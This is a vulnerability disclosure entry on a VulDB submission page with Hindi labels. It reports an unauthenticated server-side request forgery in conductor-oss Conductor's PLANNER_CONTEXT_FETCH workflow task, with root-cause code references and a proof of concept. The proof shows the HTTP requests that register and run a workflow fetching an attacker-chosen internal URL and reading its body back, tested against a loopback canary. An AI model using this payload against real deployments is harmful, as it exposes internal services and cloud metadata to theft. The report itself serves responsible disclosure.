| शीर्षक | conductor-oss Conductor up to v3.33.0-rc5 (unfixed as of 2026-09-18; latest stable v3.32.4); runtime proof at released tag v3.32.4, commit 088de237a185caaeb669035a6d75de65d36cab5a (2026-09-10) Server-Side Request Forgery with response read-back |
|---|
| विवरण | Unauthenticated full-read SSRF via the PLANNER_CONTEXT_FETCH workflow system task in Conductor
Vendor: conductor-oss
Affected versions: up to v3.33.0-rc5 (unfixed as of 2026-09-18; latest stable v3.32.4); runtime proof at released tag v3.32.4, commit 088de237a185caaeb669035a6d75de65d36cab5a (2026-09-10)
Vulnerability class: Server-Side Request Forgery with response read-back (CWE-918)
Preconditions: none on default deployments — the shipped default config (`server/src/main/resources/application.properties`) enables SQLite defaults with no authentication on `/api/**` and `conductor.integrations.ai.enabled=true` (line 201); the task registers unconditionally (`PlannerContextFetchTaskConfig.java:26-27` plain `@Bean`, component-scanned via `AgentSpanAutoConfiguration.java:38-40`, module wired into the server build at `server/build.gradle:25`). Every request in the proof of concept below was credential-less. On deployments that enable authentication, any workflow author qualifies.
Unauthenticated full-read SSRF via the PLANNER_CONTEXT_FETCH workflow system task in Conductor
Data flow: caller JSON WorkflowDef → `WorkflowSystemTask.start` → `PlannerContextFetchTask.java:130-132` (`input.get("url")`) → `:164` `HttpRequest.newBuilder().uri(URI.create(url))` → `:172` `httpClient.send(..., ofString())` → `:197` `complete(task, resp.body(), ...)`
### Affected interfaces
| Interface |
|---|
| POST /api/metadata/workflow — register a WorkflowDef containing a task of type `PLANNER_CONTEXT_FETCH` with `inputParameters.url` |
| POST /api/workflow/{name} — execute the workflow |
| GET /api/workflow/{id}?includeOutput=true — fetched body read back through the task output |
Primary route detail:
```
POST /api/metadata/workflow
{"name":"<wf>","version":1,"schemaVersion":2,
"tasks":[{"name":"pf","taskReferenceName":"pf","type":"PLANNER_CONTEXT_FETCH",
"inputParameters":{"url":"http://<host>:<port>/<path>"}}]}
```
On a default Conductor deployment (shipped `application.properties` has no authentication/authorizer on `/api/**`), any unauthenticated network client can make the Conductor server issue GET requests to arbitrary attacker-chosen URLs — loopback admin ports, internal services, cloud-metadata endpoints — and read the full response body back. The AI agentspan module registers a `PLANNER_CONTEXT_FETCH` system task whose target URL is taken verbatim from the workflow definition (`inputParameters.url`), fetched with no scheme/host validation by a redirect-following `java.net.http.HttpClient`, and whose response body is written into caller-visible task output.
### Root cause
1. **Registration, unconditional** — `PlannerContextFetchTaskConfig.java:26-27` declares a plain `@Bean(PlannerContextFetchTask.TASK_TYPE)` (no `@ConditionalOnProperty`, no authorization check) in package `org.conductoross.conductor.ai.agentspan.runtime`, scanned by `AgentSpanAutoConfiguration.java:38-40`; the only gate is `conductor.integrations.ai.enabled=true`, the shipped default (`server/src/main/resources/application.properties:201`).
2. **Taint source** — `WorkflowSystemTask.start()` receives the task model built from the caller's JSON: `PlannerContextFetchTask.java:130-132` (`String url = Objects.toString(input.get("url"), null)`).
3. **Sink** — `PlannerContextFetchTask.java:164` `HttpRequest.newBuilder().uri(URI.create(url))` — no allowlist, no private/loopback/metadata-IP rejection, scheme-agnostic beyond `URI.create`; the client is built with `followRedirects(NORMAL)` (`:105`), so a 3xx hop re-targets the request internally; sent at `:172` (`httpClient.send(..., HttpResponse.BodyHandlers.ofString())`).
4. **Read-back** — `:197` `complete(task, resp.body(), status, false)` stores the full response body of the attacker-chosen URL in the task output returned to the API caller — a full-read SSRF, not a blind one. Non-2xx statuses are surfaced too; the TTL/ETag cache (`:95-127`) does not affect first-fetch reachability.
The missing guard: `PLANNER_CONTEXT_FETCH` is a registered system task type (`PlannerContextFetchTask.java:66`) with no internal-only marker, so workflow-metadata validation accepts it and the executor runs it for any workflow author — and on default installs the workflow-definition APIs are anonymous.
Baseline: Conductor released tag v3.32.4 (`git describe` = v3.32.4), self-hosted on the reporter's own host on `127.0.0.1:18099` with shipped defaults (`GET /actuator/health` → 200 `{"status":"UP",...}`); canary listener bound to `127.0.0.1:18901` only, serving `{"canary":"CV4-PFCTX-1789528872","path":"<path>"}`. No Authorization header anywhere.
**1. Register the workflow (credential-less)**
```http
POST /api/metadata/workflow
{"name":"cv4plannerfetch1","version":1,"ownerEmail":"[email protected]","schemaVersion":2,
"tasks":[{"name":"pf","taskReferenceName":"pf","type":"PLANNER_CONTEXT_FETCH",
"inputParameters":{"url":"http://127.0.0.1:18901/CV4-PFCTX-CANARY/ctx.md",
"ttl_seconds":30,"required":false}}]}
-> 200
```
**2. Start it and read the output back**
```http
POST /api/workflow/cv4plannerfetch1 body {}
-> workflowId b153a6e7-61c7-4c71-94b7-1256e87f66b6
GET /api/workflow/b153a6e7-...?includeOutput=true&includeTasks=true
-> workflow COMPLETED (~2s); task PLANNER_CONTEXT_FETCH COMPLETED with
outputData = {"response":{"body":"{\"canary\":\"CV4-PFCTX-1789528872\",\"path\":\"/CV4-PFCTX-CANARY/ctx.md\"}","statusCode":200},"cache_hit":false}
```
**3. Positive artifact — application-originated connection (canary log)**
```sh
$ cat canary.log
2026-09-16T11:25:07.305683 GET /CV4-PFCTX-CANARY/ctx.md from 127.0.0.1:43438 UA=Java-http-client/21.0.7
```
The listener is loopback-only (unreachable from any other host), and `Java-http-client/21.0.7` is the conductor JVM's `java.net.http.HttpClient` that `PlannerContextFetchTask.java:103-108` builds.
**4. Negative control** — the canary listener was killed (port 18901 refusing) and a second unauthenticated workflow `cv4plannerfetch2` with `url=.../CV4-NEGATIVE/ctx.md` was run → task `COMPLETED` with `outputData = {"response":{"body":"","statusCode":0},"cache_hit":false}` — confirming the step-2 observation was caused by the canary endpoint and nothing else.
- **Vendor contact**: GitHub Private Vulnerability Reporting - conductor-oss/conductor
- **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/conductor-oss/conductor/security/advisories/GHSA-cx7c-4mp7-rhcj; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|
| स्रोत | ⚠️ https://github.com/conductor-oss/conductor |
|---|
| उपयोगकर्ता | lucasg2g (UID 84737) |
|---|
| सबमिशन | 15/10/2026 07:30 AM (24 दिन पहले) |
|---|
| संयम | 08/11/2026 11:52 AM (24 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 432811 [conductor-oss conductor तक 3.32.4/3.33.0/3.34.0-rc3/4.0.0-alpha.1 PLANNER_CONTEXT_FETCH Task PlannerContextFetchTask.java WorkflowSystemTask.start url अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|